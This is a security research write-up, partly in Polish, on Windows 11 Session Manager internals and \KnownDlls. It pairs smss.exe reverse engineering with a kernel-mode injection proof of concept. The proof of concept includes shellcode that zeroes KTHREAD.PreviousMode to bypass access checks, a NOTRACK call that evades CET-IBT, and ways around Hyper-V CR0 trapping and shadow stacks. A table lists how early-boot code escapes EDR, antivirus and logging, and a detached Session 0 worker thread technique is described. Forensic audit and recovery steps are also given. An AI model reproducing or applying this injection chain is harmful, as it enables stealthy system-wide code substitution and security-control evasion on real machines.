Author: Marek Wesołowski (WESMAR)
Date: 3 September 2026
Target: Windows 11 Pro 26H1, build 28000.2804 (kernel injection target); build 26100.8875 (smss.exe binary analysis)
Subject: Security boundary evaluation of the \KnownDlls object directory; reverse engineering of the smss.exe early-boot dispatch pipeline; kernel-mode injection proof-of-concept under Windows 11 processor and hypervisor mitigations
PL: Niniejsze opracowanie przedstawia kompleksowe badanie granicy bezpieczeństwa przestrzeni nazw Menedżera Obiektów systemu Windows, łącząc deasemblację mechanizmów wczesnego rozruchu procesu
smss.exez wstrzyknięciem sekcji do katalogu\KnownDllsna poziomie jądra. W pierwszej fazie przeanalizowano dyspozytorBootExecutew kompilacji 26100.8875, identyfikując pięć odrębnych list startowych, w tym nieudokumentowanąBootExecuteNoPnpSync, cztery parametry wiersza poleceń, asymetrię synchronizacji proces-wątek w Sesji 0 oraz dowodząc matematycznej poprawności 16-bitowej arytmetyki wskaźnikowej w pierścieniu ilorazowym liczb całkowitych modulo 65536. W drugiej fazie wykazano za pomocą sondyNativeProbe.exe, że katalog\KnownDllsjest całkowicie odporny na modyfikacje z przestrzeni użytkownika nawet przy uprawnieniach kontaNT AUTHORITY\SYSTEMprzed inicjalizacją podsystemu Win32. W fazie trzeciej zrealizowano wstrzyknięcie sekcji z poziomu jądra za pośrednictwem sterownikakvcstrm.sys. Ominięcie weryfikacji listy kontroli dostępu przez proceduręSeAccessCheckoparto na modyfikacji polaKTHREAD.PreviousModena wartość zero, pokonując przechwytywanie rejestru CR0 przez Hyper-V, wymóg opkoduENDBR64pod kontrolą CET-IBT za pomocą prefiksuNOTRACKF3 FF D0oraz błąd stosu cienia w niestronicowanej puli pamięci. Pomyślne utworzenie sekcji potwierdzono z przestrzeni użytkownika wywołaniemNtOpenSectionze statusemSTATUS_SUCCESS.EN: This research paper presents a comprehensive examination of Windows Object Manager namespace security, linking the reverse engineering of the
smss.exeearly-boot dispatch pipeline with kernel-mode section injection into\KnownDllson Windows 11 26H1 build 28000.2804. The first phase investigates the Session Manager dispatch architecture within build 26100.8875, characterizing five distinct execution lists including the undocumentedBootExecuteNoPnpSynckey, four undocumented command-line keywords, thread-level synchronization asymmetry enabling persistent Session 0 workers, and formal algebraic proof of modular correctness for 16-bit register arithmetic within the quotient ring of integers modulo 65536. The second phase establishes empirically viaNativeProbe.exethat the\KnownDllsaccess control list remains an impenetrable boundary against user-mode callers, denying section creation even to fully privilegedNT AUTHORITY\SYSTEMcallers operating prior to Win32 initialization. The third phase resolves this limitation by deploying a kernel-mode injection primitive viakvcstrm.sys. SettingKTHREAD.PreviousModeto 0 causesSeAccessCheckto bypass discretionary access control evaluation, while the shellcode successfully navigates Hyper-V CR0.WP interception, CET-IBT branch validation through theNOTRACKprefixF3 FF D0, and supervisor shadow-stack constraints. Verification is achieved from user mode viaNtOpenSectionreturningSTATUS_SUCCESS.
In the Windows NT operating system architecture, the Session Manager Subsystem (smss.exe) serves as the foundational user-mode executive. During Phase 2 initialization, it establishes core Object Manager directories, populates \KnownDlls with pre-allocated section objects for system dynamic libraries, and orchestrates the earliest user-mode dispatch pipeline prior to the initialization of the Win32 subsystem, the event logging service, and endpoint security agents.
This investigation explores the security boundaries governing \KnownDlls. The primary research question addresses whether early-boot native execution within Session 0 can manipulate or insert arbitrary section objects into \KnownDlls, bypassing secondary disk reads, Authenticode signature re-evaluation, and filesystem minifilter inspection across all subsequent processes.
Static analysis of smss.exe build 26100.8875 reveals a complex dispatch architecture spanning five distinct execution lists, four undocumented command-line options, deterministic handle cleanup routines, and legacy 16-bit modular arithmetic. To evaluate whether this early execution context permits namespace tampering, a pure native-subsystem binary (NativeProbe.exe) was deployed to BootExecute on Windows 11 build 28000. Empirical telemetry demonstrates that despite holding NT AUTHORITY\SYSTEM privileges, \KnownDlls strictly enforces access denial (STATUS_ACCESS_DENIED, 0xC0000022), as SeAccessCheck evaluates the thread security context against UserMode.
Consequently, namespace injection cannot be achieved from user space regardless of execution timing or privilege delegation. The investigation therefore establishes a verified kernel-mode injection primitive (KvcInject.exe). By transitioning KTHREAD.PreviousMode to 0 (KernelMode), the access check routine bypasses discretionary evaluation entirely. Reliable execution on Windows 11 build 28000.2804 required resolving three hypervisor and hardware mitigations: neutralizing Hyper-V CR0.WP trapping via MmCopyVirtualMemory, suppressing CET-IBT indirect branch validation on NtCreateSection through the NOTRACK prefix (F3 FF D0), and averting supervisor shadow-stack faults in pool memory by bypassing KiServiceInternal. Verification was confirmed from user mode via NtOpenSection, returning STATUS_SUCCESS.
The Object Manager namespace is central to access control and resource deduplication in the Windows operating system. Among its core directories, \KnownDlls occupies a privileged role: it hosts pre-mapped section objects for critical dynamic-link libraries, including ntdll.dll, kernel32.dll, and user32.dll. When the process loader resolves dependencies matching an entry in \KnownDlls, it maps the existing section directly into virtual memory. This eliminates disk I/O, circumvents Authenticode re-validation at map time, and bypasses filesystem minifilter drivers.
Because all newly created processes inherit these sections, the insertion of an arbitrary section object under a legitimate library name represents a catastrophic integrity failure: every subsequently spawned process executes the substituted module from memory without generating disk artifacts.
This paper examines the security perimeter enclosing \KnownDlls across two complementary domains:
smss.exe and BootExecute) provides an operational window or privilege state capable of writing into \KnownDlls prior to subsystem lockdown.Seven principal findings emerge from this research:
SmpLoadDataFromRegistry constructs five discrete LIST_ENTRY structures, including the undocumented BootExecuteNoPnpSync registry value, which enables image dispatch prior to Plug and Play device enumeration.debug, async, autocheck, and secure, controlling process debugging flags, execution synchronization, and subsystem validation.SmpExecuteImage confirms that both process and thread handles are closed sequentially across all non-WPBT code paths, disproving historical assumptions regarding handle leaks under the async keyword.secure keyword bypasses user-mode subsystem restrictions within smss.exe while engaging kernel-mode Isolated User Mode trustlet validation in NtCreateProcessEx, blocking execution of unsigned native binaries.0x140004E9C maintains operational correctness across all valid UNICODE_STRING inputs within the ring ℤ / 65536ℤ (integers modulo 216).\KnownDlls requires kernel-level execution privileges. Setting KTHREAD.PreviousMode to 0 circumvents discretionary access control evaluation, permitting section registration under Windows 11 while satisfying CET-IBT and Hyper-V hypervisor constraints.All reverse-engineering artifacts, disassembly listings, and live kernel measurements were obtained directly from production installations of Windows 11 running on physical hardware and Hyper-V Generation 2 virtual machines.
| Component | Value / Specification |
|---|---|
| Binary Analyzed | C:\Windows\System32\smss.exe |
| File Size | 228,824 bytes |
| File Version | 10.0.26100.8875 (WinBuild.160101.0800) |
| Product Version | 10.0.26100.8875 |
| SHA-256 | F87219D8E2B4A890DC81C52A089EBD9EAC660D7EA7C3E0C13082E0C6A3137E3C |
| PE Subsystem | IMAGE_SUBSYSTEM_NATIVE (Subsystem 1) |
| Public PDB Symbol File | smss.pdb (GUID: 352F20C3490D7BF3449E0A0AE67D4E0F1-1) |
| Kernel Injection Target | Windows 11 Pro 26H1, build 28000.2804 (AMD64) |
| Primary Tooling | IDA Pro 9.4 (Hex-Rays x64), Microsoft CDB (Windows SDK 10.0.28000.2526) |
| Execution Base Address | 0x0000000140000000 |
The initial entry point of SMSS is smss!NtProcessStartupW (0x140005910), invoked by ntoskrnl!Phase1InitializationDiscard via RtlCreateUserProcess.
After establishing the initial heap (SmBaseTag = 'smsS'), default environment variables, and memory management structures, SMSS enters smss!SmpLoadDataFromRegistry (0x1400162A4).
Methodological Note on Decompilation Accuracy: Binary analysis of the asynchronous dispatch path confirms that process and thread handles are deterministically closed at
LABEL_60. While certain automated decompilation heuristics have historically suggested an early return preceding handle closure, Hex-Rays control-flow analysis confirms that handle retention is restricted strictly to UEFI platform binaries processed under flag0x20withinSmpPlatformExecuteList.
Following the execution of all early-boot commands, SMSS initiates subsequent operating system subsystems:
NtInitializeRegistry(0) ← Registry becomes fully online after BootExecuteSmpProcessFileRenames() ← PendingFileRenameOperations appliedTpAllocWork(SmpAsyncMemoryConfiguration) ← Paging files activatedSmpInitializeDosDevices() ← Symbolic links initializedSmpCreateSession(0) ← csrss.exe and wininit.exe startupAt offset 0x140016550 in smss.exe, SmpLoadDataFromRegistry queries the registry:
RtlQueryRegistryValuesEx(
RTL_REGISTRY_CONTROL,
L"Session Manager",
&SmpRegistryConfigurationTable
);
The configuration table contains an entry for BootExecute (MULTI_SZ), whose callback points directly to smss!SmpConfigureExecute (0x140014210):
__int64 __fastcall SmpConfigureExecute(__int64 a1, __int64 a2, __int64 a3, __int64 a4, int a5, _DWORD *a6)
{
__int64 result;
_QWORD v7[3];
v7[0] = 0;
result = SmpSaveRegistryValue(a6 + 10, a3, 0, 1, v7);
if ( (int)result >= 0 )
{
++*a6;
a6[1] += *(unsigned __int16 *)(v7[0] + 16LL) + 2;
}
return result;
}
This constructs a doubly linked list of type LIST_ENTRY anchored at smss!SmpBootExecuteList (0x140032A20).
SmpLoadDataFromRegistry does not load only BootExecute. The symbol table reveals five distinct LIST_ENTRY globals:
| Symbol (IDA) | Virtual Address | Registry Key / Source | PnP Synchronization |
|---|---|---|---|
SmpBootExecuteList |
0x140032A20 |
Session Manager\BootExecute |
Synchronized |
SmpBootExecuteNoPnpSyncList |
0x140032A30 |
Session Manager\BootExecuteNoPnpSync |
Unsynchronized |
SmpPlatformExecuteList |
0x140032A40 |
UEFI WPBT (ACPI OEM table) | Not Applicable |
SmpSetupExecuteList |
0x140032A50 |
Session Manager\SetupExecute |
Synchronized |
SmpSetupExecuteNoPnpSyncList |
0x140032A60 |
Session Manager\SetupExecuteNoPnpSync |
Unsynchronized |
The BootExecuteNoPnpSync registry key under HKLM\SYSTEM\CurrentControlSet\Control\Session Manager is absent from official technical documentation. Entries registered under this value execute identically to BootExecute commands but bypass Plug and Play enumeration synchronization, running before device interfaces are formally guaranteed to be initialized.
In smss!SmpParseCommandLine (0x140004D30), four global UNICODE_STRING objects are evaluated sequentially against each command-line token:
[ Registry Token ] ---> Compare with SmpDebugKeyword ("debug") ---> Flag bit 0x0001
---> Compare with SmpASyncKeyword ("async") ---> Flag bit 0x0002
---> Compare with SmpAutoChkKeyword ("autocheck") ---> Flag bit 0x0004
---> Compare with SmpSecureKeyword ("secure") ---> Flag bit 0x8000
if ( RtlEqualUnicodeString(&String1, &SmpDebugKeyword, 1u) != 0 )
{
*a2 |= 1u; // Set debug flag
goto LABEL_64;
}
if ( RtlEqualUnicodeString(&String1, &SmpASyncKeyword, 1u) != 0 )
{
*a2 |= 2u; // Set async flag
goto LABEL_64;
}
if ( RtlEqualUnicodeString(&String1, &SmpSecureKeyword, 1u) != 0 )
{
*a2 |= 0x8000u; // Set secure flag
goto LABEL_64;
}
if ( RtlEqualUnicodeString(&String1, &SmpAutoChkKeyword, 1u) == 0 )
break; // Unknown token — stop parsing
| Symbol | Virtual Address | Length | String Buffer EA | Value |
|---|---|---|---|---|
SmpDebugKeyword |
0x140021000 |
10 | 0x1400227E0 |
"debug" |
SmpSecureKeyword |
0x140021010 |
12 | 0x1400227C0 |
"secure" |
SmpAutoChkKeyword |
0x140021020 |
18 | 0x1400227A8 |
"autocheck" |
SmpASyncKeyword |
0x140021030 |
10 | 0x1400227D0 |
"async" |
SmpAutoChkDefaultCommand |
0x140021B08 |
38 | 0x140028FC0 |
"autocheck autochk *" |
When async is supplied, SmpParseCommandLine sets flag bit 0x0002. Decompilation of smss!SmpExecuteImage at address 0x140003750 confirms that handle deallocation is governed by flag 0x20 (WPBT) rather than flag 0x2:
NtResumeThread((HANDLE)v7[2], nullptr);
// Outer block: entered for standard synchronous and async invocations
if ( (a6 & 0x20) == 0 ) // Non-WPBT execution
{
if ( (a6 & 0x2) == 0 ) // Synchronous execution: wait for completion
{
if ( (a6 & 0x10000) == 0 )
NtWaitForSingleObject((HANDLE)v7[2], 0, nullptr); // Wait on thread
else
NtWaitForSingleObject((HANDLE)v7[1], 0, nullptr); // Wait on process (autocheck)
}
// async execution: skips wait and falls through to LABEL_60
}
// WPBT early return path: flag 0x20 only
if ( (a6 & 0x20) != 0 )
{
// Preserves handles in caller array v66 for external management
return (NTSTATUS)UserProcess;
}
// LABEL_60: Deterministically reached by synchronous and asynchronous paths
NtClose((HANDLE)v7[2]); // Thread handle closed
NtClose((HANDLE)v7[1]); // Process handle closed
return (NTSTATUS)UserProcess;
Binary analysis and empirical testing identify a two-tier verification architecture governing the execution of early-boot images:
Decompilation of smss!SmpExecuteImage at address 0x140003C49 confirms that bit 0x8000 (secure) conditionally bypasses the requirement that target executables belong to IMAGE_SUBSYSTEM_NATIVE. If this bit is asserted, SMSS does not emit STATUS_INVALID_IMAGE_FORMAT and continues toward process dispatch.
Empirical execution on Windows 11 build 28000 demonstrates that asserting bit 0x8000 causes SMSS to specify process creation attributes that route execution through the Isolated User Mode pipeline under Virtualization-Based Security. Under this execution model, NtCreateProcessEx validates that the image carries an embedded trustlet signature recognized by the Secure Kernel within its security directory entry (IMAGE_DIRECTORY_ENTRY_SECURITY). Unsigned native or subsystem binaries are rejected at the kernel level prior to thread creation.
Empirical validation matrix (Windows 11 build 28000.2704):
──────────────────────────────────────────────────────────────────────
nativeprobe (NATIVE=1, unsigned) → Validated execution
debug nativeprobe (NATIVE=1, unsigned) → Validated execution (DebugFlags=1)
secureprobe (POSIX=7, unsigned) → Rejected at Tier 1 (STATUS_INVALID_IMAGE_FORMAT)
secure secureprobe (POSIX=7, unsigned) → Rejected at Tier 2 (IUM signature validation failure)
secure nativeprobe (NATIVE=1, unsigned) → Rejected at Tier 2 (IUM signature validation failure)
Consequently, the secure parameter does not function as an unconstrained execution bypass for arbitrary native code; rather, it represents a dedicated configuration path reserved for signed VTL1 trustlets executing prior to the initialization of the Win32 subsystem.
For standard commands registered in BootExecute (without autocheck), SMSS synchronizes specifically on the handle stored at index v7[2], representing the initial thread created by RtlCreateUserProcessEx.
When a custom native application spawns a secondary worker thread via RtlCreateUserThread and terminates its primary thread via RtlExitUserThread(STATUS_SUCCESS), the synchronization wait in SMSS returns immediately:
HANDLE hWorkerThread = NULL;
RtlCreateUserThread(
NtCurrentProcess(),
NULL,
FALSE,
0,
0,
0,
(PUSER_THREAD_START_ROUTINE)NativeWorkerThread,
NULL,
&hWorkerThread,
NULL
);
RtlExitUserThread(STATUS_SUCCESS);
SMSS unblocks, finalizes its handles, and proceeds with the boot sequence (NtInitializeRegistry, csrss.exe, wininit.exe), while the detached worker thread persists in Session 0 in the background under NT AUTHORITY\SYSTEM.
In smss!SmpParseCommandLine at virtual address 0x140004E9C, the compiler emits:
.text:0000000140004E9C 0FB7 44 24 78 movzx eax, word ptr [rsp+310h+Src+8] ; Takes low 16 bits of start pointer
.text:0000000140004EA1 66 2B C3 sub ax, bx ; Subtracts low 16 bits of current pointer
.text:0000000140004EA4 48 89 5C 24 78 mov qword ptr [rsp+310h+Src+8], rbx ; Updates full 64-bit current pointer
.text:0000000140004EA9 66 03 F0 add si, ax ; Adjusts UNICODE_STRING.Length
.text:0000000140004EAC 66 89 74 24 70 mov word ptr [rsp+310h+Src], si ; Stores updated length
This sequence computes:
This operation constitutes arithmetic in the quotient ring ℤ / 65536ℤ (integers modulo 216). While operating on pointer fragments across a 64 KB boundary might superficially resemble a truncation flaw, formal modular analysis confirms that the computation is exact.
Proof: Let δ = CurrentPtr − StartPtr represent the forward displacement within the buffer. For any valid UNICODE_STRING, the displacement satisfies δ ≤ siold ≤ 65534 < 65536.
Because 0 ≤ siold − δ ≤ 65534, the resulting value lies strictly within the representative range of an unsigned 16-bit integer without underflow. The computation preserves exact length values for all structurally conformant inputs, reflecting a legacy Windows NT arithmetic pattern governed by domain invariants.
The characterization of smss.exe established that BootExecute runs in a unique operational state: it executes as IMAGE_SUBSYSTEM_NATIVE under NT AUTHORITY\SYSTEM before the initialization of Win32 subsystem servers, the event logging service, and third-party security agents.
This prompted our experimental research hypothesis: Can early-boot execution within this unmonitored Session 0 context manipulate or create section objects in the \KnownDlls directory?
\KnownDllsDuring Phase 2 initialization, smss.exe establishes the \KnownDlls directory object and populates it with pre-mapped sections for core operating system DLLs. When the process loader resolves dynamic libraries registered in this namespace, it maps existing section objects directly from kernel memory. This mechanism provides memory deduplication and eliminates file read operations, Authenticode signature checks, and filesystem minifilter inspection.
If an attacker could register an unauthorized section under a standard library name, every subsequent process resolving that DLL would map the attacker-controlled section directly from memory.
To test the security boundary empirically, we engineered NativeProbe.exe, a dependency-free native application compiled with zero C Runtime dependencies (4.5 KB total binary size, linking solely against ntdll.lib).
NativeProbe implements the routine ProbeKnownDlls(), executing during the BootExecute stage:
// 1. Attempt directory query
RtlInitUnicodeString(&name, L"\\KnownDlls");
InitializeObjectAttributes(&oa, &name, OBJ_CASE_INSENSITIVE, NULL, NULL);
st = NtOpenDirectoryObject(&hDir, DIRECTORY_QUERY | DIRECTORY_TRAVERSE, &oa);
// 2. Attempt anonymous section creation (SEC_COMMIT)
RtlInitUnicodeString(&secName, L"\\KnownDlls\\KvcProbe");
InitializeObjectAttributes(&oaSec, &secName, OBJ_CASE_INSENSITIVE, NULL, NULL);
maxSize.QuadPart = 0x1000;
stInject = NtCreateSection(&hSec, SECTION_ALL_ACCESS, &oaSec, &maxSize,
PAGE_READONLY, SEC_COMMIT, NULL);
// 3. Attempt file-backed section creation (SEC_IMAGE)
stFile = NtCreateFile(&hFile, GENERIC_READ | SYNCHRONIZE, &oaFile, &iosb,
NULL, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ,
FILE_OPEN, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0);
stImageInject = NtCreateSection(&hSec, SECTION_ALL_ACCESS, &oaSec, NULL,
PAGE_READONLY, SEC_IMAGE, hFile);
The probe was registered into BootExecute on Windows 11 build 28000 using SmssCtl.exe --install-probe. Upon system reboot, telemetry captured directly from C:\Windows\NativeProbe.log revealed:
[NativeProbe] Native Subsystem BootExecute probe initialized.
[NativeProbe] DebugFlags: 0x00000000
[NativeProbe] CommandLine: nativeprobe
[NativeProbe] KnownDlls open: 0x00000000
[NativeProbe] KnownDlls count: 46
[NativeProbe] KnownDlls inject: 0xC0000022
[NativeProbe] Background worker thread executed in Session 0.
The empirical trace demonstrates:
\KnownDlls with DIRECTORY_QUERY | DIRECTORY_TRAVERSE succeeded (STATUS_SUCCESS, 0x00000000), enumerating 46 active system dynamic-link libraries.NtCreateSection under \KnownDlls failed with STATUS_ACCESS_DENIED (0xC0000022).SYSTEM authority, user-mode calls cannot instantiate objects within the directory.To evaluate whether token privileges could override this restriction, we developed KvcOwn.c, which enabled all available administrative privileges in user space:
SeTakeOwnershipPrivilegeSeSecurityPrivilegeSeRestorePrivilegeSeCreatePermanentPrivilegeKvcOwn opened \KnownDlls with WRITE_OWNER, assigned ownership to NT AUTHORITY\SYSTEM, and attempted to modify the directory DACL via SetEntriesInAclW to grant DIRECTORY_ALL_ACCESS.
Even after explicit privilege assertion and ownership acquisition, subsequent user-mode invocations of NtCreateSection consistently failed with STATUS_ACCESS_DENIED.
These empirical findings demonstrate that the protection enclosing \KnownDlls is not a configurable security policy or an artifact of execution timing. Access evaluation within SeAccessCheck inspects the issuing thread's PreviousMode. When PreviousMode evaluates to UserMode (1), the kernel enforces discretionary access control without exception.
Consequently, user-mode code execution cannot traverse the \KnownDlls boundary. Section injection into this namespace requires transitioning the execution context into the kernel security perimeter.
Having established that user-mode execution cannot manipulate \KnownDlls, we developed KvcInject.exe to demonstrate that kernel-mode execution circumvents this barrier entirely.
The thread execution state in the Windows kernel is represented by the KTHREAD structure. At offset 0x232 (stable across Windows 11 builds 26100 through 28000), PreviousMode is stored as a single byte scalar:
0: KernelMode1: UserModeWhen a thread issues an Object Manager call with PreviousMode == KernelMode, SeAccessCheck bypasses discretionary access evaluation entirely, implicitly trusting the thread as a kernel executive component. Patching this offset to zero for the duration of an NtCreateSection call eliminates access denial.
The 132-byte shellcode executes from a non-paged pool buffer dispatched via the kvcstrm.sys kernel driver primitive (IOCTL_CALL_KERNEL):
endbr64 ; CET-IBT landing pad required at indirect branch targets
push rbx
sub rsp, 40h ; 16-byte aligned shadow space
; Inline thread lookup avoids external function calls
mov rbx, gs:[188h] ; KPCR.Prcb.CurrentThread -> PKTHREAD
movzx eax, byte [rbx+232h] ; Save original PreviousMode
mov [rsp+38h], rax
mov byte [rbx+232h], 0 ; Set PreviousMode = KernelMode (0)
; NtCreateSection(\KnownDlls\KvcKernel, SECTION_ALL_ACCESS, ...)
; Arguments configured in rcx, rdx, r8, r9, and shadow stack
notrack call rax ; F3 FF D0: NOTRACK suppresses CET-IBT validation
mov r10, rax ; Preserve NTSTATUS
movzx eax, byte [rsp+38h]
mov byte [rbx+232h], al ; Restore original PreviousMode
mov rax, r10
add rsp, 40h
pop rbx
ret
Achieving clean shellcode execution on Windows 11 build 28000.2804 required resolving three contemporary security constraints enforced by the processor and the Hyper-V hypervisor.
Initial execution attempts triggered bugcheck 0x3B (SYSTEM_SERVICE_EXCEPTION, exception code 0xC0000096) within the driver dispatch routine at kvcstrm+0x1fa7. The initial IOCTL_WRITE_PROTECTED routine attempted to clear the write-protect bit in the CR0 control register. Under Hyper-V virtualization, privileged instruction interception traps mov cr0, rcx transitions whenever WP is cleared, generating a general protection fault. This constraint was resolved by migrating to IOCTL_READWRITE_DRIVER_WRITE (function code 0x801), which transfers memory contents through MmCopyVirtualMemory using kernel-mode privileges. Furthermore, pool memory requested via ExAllocatePool2 with POOL_FLAG_NON_PAGED_EXECUTE yields PAGE_EXECUTE_READWRITE page table mappings, rendering register-level write-protection modification redundant.
Windows 11 enforces Intel Control-flow Enforcement Technology (CET) with Indirect Branch Tracking (IBT). This mechanism requires valid indirect branch targets to expose an ENDBR64 instruction opcode (F3 0F 1E FA). In the system kernel image ntoskrnl.exe, the entry point of NtCreateSection begins with opcode sequence 48 89 5C 24 08, omitting an ENDBR64 marker because production invocations transition through an internal call site in KiServiceInternal. Unconstrained indirect branches to NtCreateSection consequently trigger a Control Protection (#CP) fault. To satisfy CET-IBT enforcement, indirect call dispatch is prefixed with opcode 0xF3 (notrack call rax), which instructs the processor to bypass branch tracking validation for that specific call site.
Directing execution through the system service stub ZwCreateSection routes control flow through KiServiceInternal, which executes shadow-stack management instructions including SAVEPREVSSP and RSTORSSP. When invoked from dynamically allocated pool memory lacking a valid supervisor shadow-stack token, these operations precipitate a system fault. To bypass KiServiceInternal, the implementation computes the relative virtual address of NtCreateSection directly from the on-disk kernel image and executes the internal routine directly.
Testing was performed on a Windows 11 Pro 26H1 virtual machine running build 28000.2804 under Hyper-V.
Executing KvcInject.exe produced the following verification output:
[1] ntoskrnl kernel base: 0xFFFFF807E8400000
[2] NtCreateSection RVA: 0x0093A570
[4] Kernel buffer: 0xFFFFAB0B308D6DA0 (512 bytes)
[6] Payload written to kernel buffer (MmCopyVirtualMemory): OK
[7] Shellcode executed:
driver dispatch: 0x00000000 OK
NtCreateSection: *** SUCCESS: \KnownDlls\KvcKernel injected! ***
[8] NtOpenSection(\KnownDlls\KvcKernel): 0x00000000 -- CONFIRMED from usermode
Step 8 confirms that NtOpenSection executed from an unprivileged user-mode thread successfully opened \KnownDlls\KvcKernel with STATUS_SUCCESS. The section object exists within the active Object Manager namespace and is accessible to all processes across the operating system without writing data to disk.
Upon the insertion of an arbitrary section into the \KnownDlls namespace, any subsequent process attempting to load a library of the corresponding name receives the in-memory section rather than mapping an executable image from secondary storage:
\KnownDlls represent pre-validated system components, thereby bypassing Authenticode signature evaluation at mapping time.Executing code during the BootExecute stage operates in an operational visibility gap that precedes the initialization of user-mode endpoint telemetry, logging services, and security daemons:
| Security Control Vector | Standard Win32 Process (Post-Boot) | Native Subsystem in BootExecute (Session 0) |
Operational Security Consequence |
|---|---|---|---|
| User-Mode API Hooking | Active (ntdll.dll / kernel32.dll hooks injected by EDR) |
Absent — No EDR user-mode libraries mapped | Direct system calls execute without interception or validation |
| Endpoint Antivirus (Defender) | Active (MsMpEng.exe analyzing process memory) |
Unloaded — Service host infrastructure offline | Native binaries execute without file or behavioral inspection |
| Process Creation Telemetry | Real-time ETW event subscription (Event ID 4688) | Unconsumed — Event logging consumers offline | Process startup events remain uncollected in telemetry buffers |
| Filesystem Minifilter Stack | Complete altitude stack active | Minimal — Restricted to SERVICE_BOOT_START drivers |
File I/O avoids non-boot filesystem inspection layers |
| Security Auditing Log | Audit policy records execution to Security Log | None — EventLog service offline |
Leaves zero entries in Windows Security event logs |
| Parent Process Relationship | Spawns under explorer.exe or services.exe |
Spawns directly under smss.exe (PID ~400–500) |
Operates under System Token in Session 0 before session segregation |
Forensic examination must encompass all five Session Manager execution values rather than evaluating BootExecute in isolation:
$sm = "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager"
"BootExecute","BootExecuteNoPnpSync","SetupExecute","SetupExecuteNoPnpSync" | ForEach-Object {
$v = (Get-ItemProperty $sm -Name $_ -ErrorAction SilentlyContinue).$_
if ($v) { Write-Host "$_: $($v -join ' | ')" }
}
BootExecute is autocheck autochk *.BootExecuteNoPnpSync is unpopulated in standard configurations.async, secure, or debug indicates invocation of non-standard execution paths.If registry tampering precipitates SESSION1_INITIALIZATION_FAILED (0x6F):
regedit.exe and mount C:\Windows\System32\config\SYSTEM under key name OFFLINE_SYS.OFFLINE_SYS\ControlSet001\Control\Session Manager.BootExecute to autocheck autochk *.To enable verification on live Windows 11 systems, this article is accompanied by SmssCtl (SmssCtl.zip), an engineering suite written in pure C:
smssctl --audit: Inspects Session Manager\BootExecute, parses registered commands, and extracts keywords (debug, async, secure, autocheck).smssctl --handles: Queries the Master SMSS process (PID ~400-500) via PROCESS_QUERY_LIMITED_INFORMATION to report total open kernel handles. Useful for baselining; handle counts remain static across async executions, while WPBT platform binary handles persist until explicitly released.smssctl --test-math: In-memory simulation of smss!SmpParseCommandLine at offset 0x140004E9C. Simulates the 16-bit register arithmetic across a 64 KB boundary to demonstrate modular calculation integrity.smssctl --install-probe [--keyword <kw>]: Copies NativeProbe.exe to %SystemRoot%\System32\ and registers it into BootExecute.smssctl --restore: Restores the default configuration: autocheck autochk *.IMAGE_SUBSYSTEM_NATIVE (Subsystem 1).NtProcessStartup(PVOID Peb).ntdll.lib only (zero CRT runtime, 4.5 KB binary size).NtDisplayString.RtlCreateUserThread, terminates its primary thread via RtlExitUserThread(STATUS_SUCCESS), unblocks SMSS to continue system initialization, and logs telemetry in Session 0.\KnownDlls Injection ImplementationThe proof-of-concept utility demonstrates section injection under the following operational parameters:
kvcstrm.sys driver loaded into the kernel address space, and Hypervisor-Enforced Code Integrity disabled.NtCreateSection directly from the ntoskrnl.exe binary located on disk.MmCopyVirtualMemory, bypassing CR0 manipulation and dispatching execution through IOCTL_CALL_KERNEL.KTHREAD.PreviousMode to 0, issues an indirect call to NtCreateSection using the NOTRACK prefix, and restores the original thread mode.\KnownDlls\KvcKernel from an unprivileged user-mode thread using NtOpenSection, returning STATUS_SUCCESS.Build Instructions (MSVC x64 Developer Command Prompt):
cl.exe /nologo /O2 /W3 SmssCtl.c advapi32.lib /Fe:SmssCtl.exe
cl.exe /nologo /O2 /GS- /W3 NativeProbe.c /link /subsystem:native /entry:NtProcessStartup /nodefaultlib ntdll.lib /out:NativeProbe.exe
cl.exe /nologo /O2 /W3 /MT KvcInject.c ntdll.lib /out:KvcInject.exe
The Session Manager Subsystem and the Object Manager directory \KnownDlls represent foundational components of Windows security. Reverse engineering smss.exe build 26100.8875 reveals a dispatch architecture of greater complexity than described in public literature, characterized by five execution lists, undocumented command-line flags, and deterministic handle management.
Empirical evaluation via NativeProbe.exe demonstrates that despite executing during early boot in Session 0 under NT AUTHORITY\SYSTEM, user-mode code cannot manipulate or register objects in \KnownDlls. The access restriction is enforced directly by SeAccessCheck inspecting KTHREAD.PreviousMode.
Consequently, bypassing this boundary requires execution within the kernel security perimeter. By manipulating KTHREAD.PreviousMode to 0 and resolving Windows 11 Hyper-V write-protection trapping, CET-IBT branch validation through NOTRACK, and supervisor shadow-stack constraints, KvcInject.exe achieves verified section injection into \KnownDlls, confirmed by user-mode invocation of NtOpenSection returning STATUS_SUCCESS. These findings delineate the boundary between user-mode early-boot execution and kernel-level object security, establishing foundational insights for operating system security architecture and forensic auditing.
Add a comment